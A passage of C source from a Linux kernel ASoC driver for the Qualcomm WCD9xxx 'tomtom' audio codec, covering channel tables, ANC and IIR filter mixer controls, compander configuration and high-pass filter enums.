COMPANDER_FS_192KHZ,
COMPANDER_FS_MAX,
};
struct comp_sample_dependent_params {
u32 peak_det_timeout;
u32 rms_meter_div_fact;
u32 rms_meter_resamp_fact;
};
struct hpf_work {
struct tomtom_priv *tomtom;
u32 decimator;
u8 tx_hpf_cut_of_freq;
bool tx_hpf_bypass;
struct delayed_work dwork;
};
static struct hpf_work tx_hpf_work[NUM_DECIMATORS];
static const struct wcd9xxx_ch tomtom_rx_chs[TOMTOM_RX_MAX] = {
WCD9XXX_CH(TOMTOM_RX_PORT_START_NUMBER, 0),
WCD9XXX_CH(TOMTOM_RX_PORT_START_NUMBER + 1, 1),
WCD9XXX_CH(TOMTOM_RX_PORT_START_NUMBER + 2, 2),
WCD9XXX_CH(TOMTOM_RX_PORT_START_NUMBER + 3, 3),
WCD9XXX_CH(TOMTOM_RX_PORT_START_NUMBER + 4, 4),
WCD9XXX_CH(TOMTOM_RX_PORT_START_NUMBER + 5, 5),
WCD9XXX_CH(TOMTOM_RX_PORT_START_NUMBER + 6, 6),
WCD9XXX_CH(TOMTOM_RX_PORT_START_NUMBER + 7, 7),
WCD9XXX_CH(TOMTOM_RX_PORT_START_NUMBER + 8, 8),
WCD9XXX_CH(TOMTOM_RX_PORT_START_NUMBER + 9, 9),
WCD9XXX_CH(TOMTOM_RX_PORT_START_NUMBER + 10, 10),
WCD9XXX_CH(TOMTOM_RX_PORT_START_NUMBER + 11, 11),
WCD9XXX_CH(TOMTOM_RX_PORT_START_NUMBER + 12, 12),
};
static const struct wcd9xxx_ch tomtom_tx_chs[TOMTOM_TX_MAX] = {
WCD9XXX_CH(0, 0),
WCD9XXX_CH(1, 1),
WCD9XXX_CH(2, 2),
WCD9XXX_CH(3, 3),
WCD9XXX_CH(4, 4),
WCD9XXX_CH(5, 5),
WCD9XXX_CH(6, 6),
WCD9XXX_CH(7, 7),
WCD9XXX_CH(8, 8),
WCD9XXX_CH(9, 9),
WCD9XXX_CH(10, 10),
WCD9XXX_CH(11, 11),
WCD9XXX_CH(12, 12),
WCD9XXX_CH(13, 13),
WCD9XXX_CH(14, 14),
WCD9XXX_CH(15, 15),
};
static const u32 vport_check_table[NUM_CODEC_DAIS] = {
0, /* AIF1_PB */
(1 << AIF2_CAP) | (1 << AIF3_CAP), /* AIF1_CAP */
0, /* AIF2_PB */
(1 << AIF1_CAP) | (1 << AIF3_CAP), /* AIF2_CAP */
0, /* AIF3_PB */
(1 << AIF1_CAP) | (1 << AIF2_CAP), /* AIF3_CAP */
};
static const u32 vport_i2s_check_table[NUM_CODEC_DAIS] = {
0, /* AIF1_PB */
0, /* AIF1_CAP */
0, /* AIF2_PB */
0, /* AIF2_CAP */
};
static char on_demand_supply_name[][MAX_ON_DEMAND_SUPPLY_NAME_LENGTH] = {
"cdc-vdd-mic-bias",
};
struct tomtom_priv {
struct snd_soc_codec *codec;
u32 adc_count;
u32 rx_bias_count;
s32 dmic_1_2_clk_cnt;
s32 dmic_3_4_clk_cnt;
s32 dmic_5_6_clk_cnt;
s32 ldo_h_users;
s32 micb_2_users;
s32 micb_3_users;
u32 anc_slot;
bool anc_func;
/* cal info for codec */
struct fw_info *fw_data;
/*track tomtom interface type*/
u8 intf_type;
/* num of slim ports required */
struct wcd9xxx_codec_dai_data dai[NUM_CODEC_DAIS];
/*compander*/
int comp_enabled[COMPANDER_MAX];
u32 comp_fs[COMPANDER_MAX];
/* Maintain the status of AUX PGA */
int aux_pga_cnt;
u8 aux_l_gain;
u8 aux_r_gain;
bool spkr_pa_widget_on;
struct regulator *spkdrv_reg;
struct regulator *spkdrv2_reg;
struct regulator *micbias_reg;
bool mbhc_started;
struct afe_param_cdc_slimbus_slave_cfg slimbus_slave_cfg;
/* resmgr module */
struct wcd9xxx_resmgr resmgr;
/* mbhc module */
struct wcd9xxx_mbhc mbhc;
/* class h specific data */
struct wcd9xxx_clsh_cdc_data clsh_d;
int (*machine_codec_event_cb)(struct snd_soc_codec *codec,
enum wcd9xxx_codec_event);
int (*codec_ext_clk_en_cb)(struct snd_soc_codec *codec,
int enable, bool dapm);
int (*codec_get_ext_clk_cnt) (void);
/*
* list used to save/restore registers at start and
* end of impedance measurement
*/
struct list_head reg_save_restore;
/* handle to cpe core */
struct wcd_cpe_core *cpe_core;
/* UHQA (class AB) mode */
u8 uhqa_mode;
/* Multiplication factor used for impedance detection */
int zdet_gain_mul_fact;
/* to track the status */
unsigned long status_mask;
int ext_clk_users;
struct clk *wcd_ext_clk;
};
static const u32 comp_shift[] = {
4, /* Compander 0's clock source is on interpolator 7 */
0,
2,
};
static const int comp_rx_path[] = {
COMPANDER_1,
COMPANDER_1,
COMPANDER_2,
COMPANDER_2,
COMPANDER_2,
COMPANDER_2,
COMPANDER_0,
COMPANDER_0,
COMPANDER_MAX,
};
static const struct comp_sample_dependent_params comp_samp_params[] = {
{
/* 8 Khz */
.peak_det_timeout = 0x06,
.rms_meter_div_fact = 0x09,
.rms_meter_resamp_fact = 0x06,
},
{
/* 16 Khz */
.peak_det_timeout = 0x07,
.rms_meter_div_fact = 0x0A,
.rms_meter_resamp_fact = 0x0C,
},
{
/* 32 Khz */
.peak_det_timeout = 0x08,
.rms_meter_div_fact = 0x0B,
.rms_meter_resamp_fact = 0x1E,
},
{
/* 48 Khz */
.peak_det_timeout = 0x09,
.rms_meter_div_fact = 0x0B,
.rms_meter_resamp_fact = 0x28,
},
{
/* 96 Khz */
.peak_det_timeout = 0x0A,
.rms_meter_div_fact = 0x0C,
.rms_meter_resamp_fact = 0x50,
},
{
/* 192 Khz */
.peak_det_timeout = 0x0B,
.rms_meter_div_fact = 0xC,
.rms_meter_resamp_fact = 0xA0,
},
};
static unsigned short rx_digital_gain_reg[] = {
TOMTOM_A_CDC_RX1_VOL_CTL_B2_CTL,
TOMTOM_A_CDC_RX2_VOL_CTL_B2_CTL,
TOMTOM_A_CDC_RX3_VOL_CTL_B2_CTL,
TOMTOM_A_CDC_RX4_VOL_CTL_B2_CTL,
TOMTOM_A_CDC_RX5_VOL_CTL_B2_CTL,
TOMTOM_A_CDC_RX6_VOL_CTL_B2_CTL,
TOMTOM_A_CDC_RX7_VOL_CTL_B2_CTL,
TOMTOM_A_CDC_RX8_VOL_CTL_B2_CTL,
};
static unsigned short tx_digital_gain_reg[] = {
TOMTOM_A_CDC_TX1_VOL_CTL_GAIN,
TOMTOM_A_CDC_TX2_VOL_CTL_GAIN,
TOMTOM_A_CDC_TX3_VOL_CTL_GAIN,
TOMTOM_A_CDC_TX4_VOL_CTL_GAIN,
TOMTOM_A_CDC_TX5_VOL_CTL_GAIN,
TOMTOM_A_CDC_TX6_VOL_CTL_GAIN,
TOMTOM_A_CDC_TX7_VOL_CTL_GAIN,
TOMTOM_A_CDC_TX8_VOL_CTL_GAIN,
TOMTOM_A_CDC_TX9_VOL_CTL_GAIN,
TOMTOM_A_CDC_TX10_VOL_CTL_GAIN,
};
int tomtom_enable_qfuse_sensing(struct snd_soc_codec *codec)
{
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
if (tomtom->wcd_ext_clk)
tomtom_codec_mclk_enable(codec, true, false);
snd_soc_write(codec, TOMTOM_A_QFUSE_CTL, 0x03);
/*
* 5ms sleep required after enabling qfuse control
* before checking the status.
*/
usleep_range(5000, 5500);
if ((snd_soc_read(codec, TOMTOM_A_QFUSE_STATUS) & (0x03)) != 0x03)
WARN(1, "%s: Qfuse sense is not complete\n", __func__);
if (tomtom->wcd_ext_clk)
tomtom_codec_mclk_enable(codec, false, false);
return 0;
}
EXPORT_SYMBOL(tomtom_enable_qfuse_sensing);
static int tomtom_get_sample_rate(struct snd_soc_codec *codec, int path)
{
if (path == RX8_PATH)
return snd_soc_read(codec, TOMTOM_A_CDC_RX8_B5_CTL);
else
return snd_soc_read(codec,
(TOMTOM_A_CDC_RX1_B5_CTL + 8 * (path - 1)));
}
static int tomtom_compare_bit_format(struct snd_soc_codec *codec,
int bit_format)
{
int i = 0;
int ret = 0;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
for (i = 0; i < NUM_CODEC_DAIS; i++) {
if (tomtom_p->dai[i].bit_width == bit_format) {
ret = 1;
break;
}
}
return ret;
}
static int tomtom_update_uhqa_mode(struct snd_soc_codec *codec, int path)
{
int ret = 0;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
/* UHQA path has fs=192KHz & bit=24 bit */
if (((tomtom_get_sample_rate(codec, path) & 0xE0) == 0xA0) &&
(tomtom_compare_bit_format(codec, 24))) {
tomtom_p->uhqa_mode = 1;
} else {
tomtom_p->uhqa_mode = 0;
}
dev_dbg(codec->dev, "%s: uhqa_mode=%d", __func__, tomtom_p->uhqa_mode);
return ret;
}
static int tomtom_get_anc_slot(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
ucontrol->value.integer.value[0] = tomtom->anc_slot;
return 0;
}
static int tomtom_put_anc_slot(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
tomtom->anc_slot = ucontrol->value.integer.value[0];
return 0;
}
static int tomtom_get_anc_func(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
ucontrol->value.integer.value[0] = (tomtom->anc_func == true ? 1 : 0);
return 0;
}
static int tomtom_put_anc_func(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
struct snd_soc_dapm_context *dapm = &codec->dapm;
mutex_lock(&dapm->codec->mutex);
tomtom->anc_func = (!ucontrol->value.integer.value[0] ? false : true);
dev_dbg(codec->dev, "%s: anc_func %x", __func__, tomtom->anc_func);
if (tomtom->anc_func == true) {
snd_soc_dapm_enable_pin(dapm, "ANC HPHR");
snd_soc_dapm_enable_pin(dapm, "ANC HPHL");
snd_soc_dapm_enable_pin(dapm, "ANC HEADPHONE");
snd_soc_dapm_enable_pin(dapm, "ANC EAR PA");
snd_soc_dapm_enable_pin(dapm, "ANC EAR");
snd_soc_dapm_disable_pin(dapm, "HPHR");
snd_soc_dapm_disable_pin(dapm, "HPHL");
snd_soc_dapm_disable_pin(dapm, "HEADPHONE");
snd_soc_dapm_disable_pin(dapm, "EAR PA");
snd_soc_dapm_disable_pin(dapm, "EAR");
} else {
snd_soc_dapm_disable_pin(dapm, "ANC HPHR");
snd_soc_dapm_disable_pin(dapm, "ANC HPHL");
snd_soc_dapm_disable_pin(dapm, "ANC HEADPHONE");
snd_soc_dapm_disable_pin(dapm, "ANC EAR PA");
snd_soc_dapm_disable_pin(dapm, "ANC EAR");
snd_soc_dapm_enable_pin(dapm, "HPHR");
snd_soc_dapm_enable_pin(dapm, "HPHL");
snd_soc_dapm_enable_pin(dapm, "HEADPHONE");
snd_soc_dapm_enable_pin(dapm, "EAR PA");
snd_soc_dapm_enable_pin(dapm, "EAR");
}
mutex_unlock(&dapm->codec->mutex);
snd_soc_dapm_sync(dapm);
return 0;
}
static int tomtom_get_iir_enable_audio_mixer(
struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int iir_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->reg;
int band_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
ucontrol->value.integer.value[0] =
(snd_soc_read(codec, (TOMTOM_A_CDC_IIR1_CTL + 16 * iir_idx)) &
(1 << band_idx)) != 0;
pr_debug("%s: IIR #%d band #%d enable %d\n", __func__,
iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[0]);
return 0;
}
static int tomtom_put_iir_enable_audio_mixer(
struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int iir_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->reg;
int band_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
int value = ucontrol->value.integer.value[0];
/* Mask first 5 bits, 6-8 are reserved */
snd_soc_update_bits(codec, (TOMTOM_A_CDC_IIR1_CTL + 16 * iir_idx),
(1 << band_idx), (value << band_idx));
pr_debug("%s: IIR #%d band #%d enable %d\n", __func__,
iir_idx, band_idx,
((snd_soc_read(codec, (TOMTOM_A_CDC_IIR1_CTL + 16 * iir_idx)) &
(1 << band_idx)) != 0));
return 0;
}
static uint32_t get_iir_band_coeff(struct snd_soc_codec *codec,
int iir_idx, int band_idx,
int coeff_idx)
{
uint32_t value = 0;
/* Address does not automatically update if reading */
snd_soc_write(codec,
(TOMTOM_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
((band_idx * BAND_MAX + coeff_idx)
* sizeof(uint32_t)) & 0x7F);
value |= snd_soc_read(codec,
(TOMTOM_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx));
snd_soc_write(codec,
(TOMTOM_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
((band_idx * BAND_MAX + coeff_idx)
* sizeof(uint32_t) + 1) & 0x7F);
value |= (snd_soc_read(codec,
(TOMTOM_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx)) << 8);
snd_soc_write(codec,
(TOMTOM_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
((band_idx * BAND_MAX + coeff_idx)
* sizeof(uint32_t) + 2) & 0x7F);
value |= (snd_soc_read(codec,
(TOMTOM_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx)) << 16);
snd_soc_write(codec,
(TOMTOM_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
((band_idx * BAND_MAX + coeff_idx)
* sizeof(uint32_t) + 3) & 0x7F);
/* Mask bits top 2 bits since they are reserved */
value |= ((snd_soc_read(codec,
(TOMTOM_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx)) & 0x3F) << 24);
return value;
}
static int tomtom_get_iir_band_audio_mixer(
struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int iir_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->reg;
int band_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
ucontrol->value.integer.value[0] =
get_iir_band_coeff(codec, iir_idx, band_idx, 0);
ucontrol->value.integer.value[1] =
get_iir_band_coeff(codec, iir_idx, band_idx, 1);
ucontrol->value.integer.value[2] =
get_iir_band_coeff(codec, iir_idx, band_idx, 2);
ucontrol->value.integer.value[3] =
get_iir_band_coeff(codec, iir_idx, band_idx, 3);
ucontrol->value.integer.value[4] =
get_iir_band_coeff(codec, iir_idx, band_idx, 4);
pr_debug("%s: IIR #%d band #%d b0 = 0x%x\n"
"%s: IIR #%d band #%d b1 = 0x%x\n"
"%s: IIR #%d band #%d b2 = 0x%x\n"
"%s: IIR #%d band #%d a1 = 0x%x\n"
"%s: IIR #%d band #%d a2 = 0x%x\n",
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[0],
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[1],
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[2],
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[3],
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[4]);
return 0;
}
static void set_iir_band_coeff(struct snd_soc_codec *codec,
int iir_idx, int band_idx,
uint32_t value)
{
snd_soc_write(codec,
(TOMTOM_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx),
(value & 0xFF));
snd_soc_write(codec,
(TOMTOM_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx),
(value >> 8) & 0xFF);
snd_soc_write(codec,
(TOMTOM_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx),
(value >> 16) & 0xFF);
/* Mask top 2 bits, 7-8 are reserved */
snd_soc_write(codec,
(TOMTOM_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx),
(value >> 24) & 0x3F);
}
static int tomtom_put_iir_band_audio_mixer(
struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int iir_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->reg;
int band_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
/* Mask top bit it is reserved */
/* Updates addr automatically for each B2 write */
snd_soc_write(codec,
(TOMTOM_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
(band_idx * BAND_MAX * sizeof(uint32_t)) & 0x7F);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[0]);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[1]);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[2]);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[3]);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[4]);
pr_debug("%s: IIR #%d band #%d b0 = 0x%x\n"
"%s: IIR #%d band #%d b1 = 0x%x\n"
"%s: IIR #%d band #%d b2 = 0x%x\n"
"%s: IIR #%d band #%d a1 = 0x%x\n"
"%s: IIR #%d band #%d a2 = 0x%x\n",
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 0),
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 1),
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 2),
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 3),
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 4));
return 0;
}
static int tomtom_get_compander(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int comp = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
ucontrol->value.integer.value[0] = tomtom->comp_enabled[comp];
return 0;
}
static int tomtom_set_compander(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
int comp = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
int value = ucontrol->value.integer.value[0];
pr_debug("%s: Compander %d enable current %d, new %d\n",
__func__, comp, tomtom->comp_enabled[comp], value);
tomtom->comp_enabled[comp] = value;
if (comp == COMPANDER_1 &&
tomtom->comp_enabled[comp] == 1) {
/* Wavegen to 5 msec */
snd_soc_write(codec, TOMTOM_A_RX_HPH_CNP_WG_CTL, 0xDB);
snd_soc_write(codec, TOMTOM_A_RX_HPH_CNP_WG_TIME, 0x2A);
snd_soc_write(codec, TOMTOM_A_RX_HPH_BIAS_WG_OCP, 0x2A);
/* Enable Chopper */
snd_soc_update_bits(codec,
TOMTOM_A_RX_HPH_CHOP_CTL, 0x80, 0x80);
snd_soc_write(codec, TOMTOM_A_NCP_DTEST, 0x20);
pr_debug("%s: Enabled Chopper and set wavegen to 5 msec\n",
__func__);
} else if (comp == COMPANDER_1 &&
tomtom->comp_enabled[comp] == 0) {
/* Wavegen to 20 msec */
snd_soc_write(codec, TOMTOM_A_RX_HPH_CNP_WG_CTL, 0xDB);
snd_soc_write(codec, TOMTOM_A_RX_HPH_CNP_WG_TIME, 0x58);
snd_soc_write(codec, TOMTOM_A_RX_HPH_BIAS_WG_OCP, 0x1A);
/* Disable CHOPPER block */
snd_soc_update_bits(codec,
TOMTOM_A_RX_HPH_CHOP_CTL, 0x80, 0x00);
snd_soc_write(codec, TOMTOM_A_NCP_DTEST, 0x10);
pr_debug("%s: Disabled Chopper and set wavegen to 20 msec\n",
__func__);
}
return 0;
}
static int tomtom_config_gain_compander(struct snd_soc_codec *codec,
int comp, bool enable)
{
int ret = 0;
switch (comp) {
case COMPANDER_0:
snd_soc_update_bits(codec, TOMTOM_A_SPKR_DRV1_GAIN,
1 << 2, !enable << 2);
snd_soc_update_bits(codec, TOMTOM_A_SPKR_DRV2_GAIN,
1 << 2, !enable << 2);
break;
case COMPANDER_1:
snd_soc_update_bits(codec, TOMTOM_A_RX_HPH_L_GAIN,
1 << 5, !enable << 5);
snd_soc_update_bits(codec, TOMTOM_A_RX_HPH_R_GAIN,
1 << 5, !enable << 5);
break;
case COMPANDER_2:
snd_soc_update_bits(codec, TOMTOM_A_RX_LINE_1_GAIN,
1 << 5, !enable << 5);
snd_soc_update_bits(codec, TOMTOM_A_RX_LINE_3_GAIN,
1 << 5, !enable << 5);
snd_soc_update_bits(codec, TOMTOM_A_RX_LINE_2_GAIN,
1 << 5, !enable << 5);
snd_soc_update_bits(codec, TOMTOM_A_RX_LINE_4_GAIN,
1 << 5, !enable << 5);
break;
default:
WARN_ON(1);
ret = -EINVAL;
}
return ret;
}
static void tomtom_discharge_comp(struct snd_soc_codec *codec, int comp)
{
/* Level meter DIV Factor to 5*/
snd_soc_update_bits(codec, TOMTOM_A_CDC_COMP0_B2_CTL + (comp * 8), 0xF0,
0x05 << 4);
/* RMS meter Sampling to 0x01 */
snd_soc_write(codec, TOMTOM_A_CDC_COMP0_B3_CTL + (comp * 8), 0x01);
/* Worst case timeout for compander CnP sleep timeout */
usleep_range(3000, 3100);
}
static enum wcd9xxx_buck_volt tomtom_codec_get_buck_mv(
struct snd_soc_codec *codec)
{
int buck_volt = WCD9XXX_CDC_BUCK_UNSUPPORTED;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx_pdata *pdata = tomtom->resmgr.pdata;
int i;
for (i = 0; i < ARRAY_SIZE(pdata->regulator); i++) {
if (!strcmp(pdata->regulator[i].name,
WCD9XXX_SUPPLY_BUCK_NAME)) {
if ((pdata->regulator[i].min_uV ==
WCD9XXX_CDC_BUCK_MV_1P8) ||
(pdata->regulator[i].min_uV ==
WCD9XXX_CDC_BUCK_MV_2P15))
buck_volt = pdata->regulator[i].min_uV;
break;
}
}
return buck_volt;
}
static int tomtom_config_compander(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
int mask, enable_mask;
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
const int comp = w->shift;
const u32 rate = tomtom->comp_fs[comp];
const struct comp_sample_dependent_params *comp_params =
&comp_samp_params[rate];
enum wcd9xxx_buck_volt buck_mv;
pr_debug("%s: %s event %d compander %d, enabled %d", __func__,
w->name, event, comp, tomtom->comp_enabled[comp]);
if (!tomtom->comp_enabled[comp])
return 0;
/* Compander 0 has two channels */
mask = enable_mask = 0x03;
buck_mv = tomtom_codec_get_buck_mv(codec);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/* Set compander Sample rate */
snd_soc_update_bits(codec,
TOMTOM_A_CDC_COMP0_FS_CFG + (comp * 8),
0x07, rate);
/* Set the static gain offset for HPH Path */
if (comp == COMPANDER_1) {
if (buck_mv == WCD9XXX_CDC_BUCK_MV_2P15) {
snd_soc_update_bits(codec,
TOMTOM_A_CDC_COMP0_B4_CTL + (comp * 8),
0x80, 0x00);
} else {
snd_soc_update_bits(codec,
TOMTOM_A_CDC_COMP0_B4_CTL + (comp * 8),
0x80, 0x80);
}
}
/* Enable RX interpolation path compander clocks */
snd_soc_update_bits(codec, TOMTOM_A_CDC_CLK_RX_B2_CTL,
mask << comp_shift[comp],
mask << comp_shift[comp]);
/* Toggle compander reset bits */
snd_soc_update_bits(codec, TOMTOM_A_CDC_CLK_OTHR_RESET_B2_CTL,
mask << comp_shift[comp],
mask << comp_shift[comp]);
snd_soc_update_bits(codec, TOMTOM_A_CDC_CLK_OTHR_RESET_B2_CTL,
mask << comp_shift[comp], 0);
/* Set gain source to compander */
tomtom_config_gain_compander(codec, comp, true);
/* Compander enable */
snd_soc_update_bits(codec, TOMTOM_A_CDC_COMP0_B1_CTL +
(comp * 8), enable_mask, enable_mask);
tomtom_discharge_comp(codec, comp);
/* Set sample rate dependent paramater */
snd_soc_write(codec, TOMTOM_A_CDC_COMP0_B3_CTL + (comp * 8),
comp_params->rms_meter_resamp_fact);
snd_soc_update_bits(codec,
TOMTOM_A_CDC_COMP0_B2_CTL + (comp * 8),
0xF0, comp_params->rms_meter_div_fact << 4);
snd_soc_update_bits(codec,
TOMTOM_A_CDC_COMP0_B2_CTL + (comp * 8),
0x0F, comp_params->peak_det_timeout);
break;
case SND_SOC_DAPM_PRE_PMD:
/* Disable compander */
snd_soc_update_bits(codec,
TOMTOM_A_CDC_COMP0_B1_CTL + (comp * 8),
enable_mask, 0x00);
/* Toggle compander reset bits */
snd_soc_update_bits(codec, TOMTOM_A_CDC_CLK_OTHR_RESET_B2_CTL,
mask << comp_shift[comp],
mask << comp_shift[comp]);
snd_soc_update_bits(codec, TOMTOM_A_CDC_CLK_OTHR_RESET_B2_CTL,
mask << comp_shift[comp], 0);
/* Turn off the clock for compander in pair */
snd_soc_update_bits(codec, TOMTOM_A_CDC_CLK_RX_B2_CTL,
mask << comp_shift[comp], 0);
/* Set gain source to register */
tomtom_config_gain_compander(codec, comp, false);
if (comp == COMPANDER_1)
snd_soc_update_bits(codec,
TOMTOM_A_CDC_COMP0_B4_CTL + (comp * 8),
0x80, 0x00);
break;
}
return 0;
}
static const char *const tomtom_anc_func_text[] = {"OFF", "ON"};
static const struct soc_enum tomtom_anc_func_enum =
SOC_ENUM_SINGLE_EXT(2, tomtom_anc_func_text);
static const char *const tabla_ear_pa_gain_text[] = {"POS_6_DB", "POS_2_DB"};
static const struct soc_enum tabla_ear_pa_gain_enum[] = {
SOC_ENUM_SINGLE_EXT(2, tabla_ear_pa_gain_text),
};
/*cut of frequency for high pass filter*/
static const char * const cf_text[] = {
"MIN_3DB_4Hz", "MIN_3DB_75Hz", "MIN_3DB_150Hz"
};
static const char * const rx_cf_text[] = {
"MIN_3DB_4Hz", "MIN_3DB_75Hz", "MIN_3DB_150Hz",
"MIN_3DB_0P48Hz"
};
static const struct soc_enum cf_dec1_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_TX1_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec2_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_TX2_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec3_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_TX3_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec4_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_TX4_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec5_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_TX5_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec6_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_TX6_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec7_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_TX7_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec8_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_TX8_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec9_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_TX9_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec10_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_TX10_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_rxmix1_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_RX1_B4_CTL, 0, 4, rx_cf_text);
static const struct soc_enum cf_rxmix2_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_RX2_B4_CTL, 0, 4, rx_cf_text);
static const struct soc_enum cf_rxmix3_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_RX3_B4_CTL, 0, 4, rx_cf_text);
static const struct soc_enum cf_rxmix4_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_RX4_B4_CTL, 0, 4, rx_cf_text);
static const struct soc_enum cf_rxmix5_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_RX5_B4_CTL, 0, 4, rx_cf_text)
;
static const struct soc_enum cf_rxmix6_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_RX6_B4_CTL, 0, 4, rx_cf_text);
static const struct soc_enum cf_rxmix7_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_RX7_B4_CTL, 0, 4, rx_cf_text);
static const struct soc_enum cf_rxmix8_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_RX8_B4_CTL, 0, 4, rx_cf_text);
static const char * const class_h_dsm_text[] = {
"ZERO", "DSM_HPHL_RX1", "DSM_SPKR_RX7"
};
static const struct soc_enum class_h_dsm_enum =
SOC_ENUM_SINGLE(TOMTOM_A_CDC_CONN_CLSH_CTL, 4, 3, class_h_dsm_text);
static const struct snd_kcontrol_new class_h_dsm_mux =
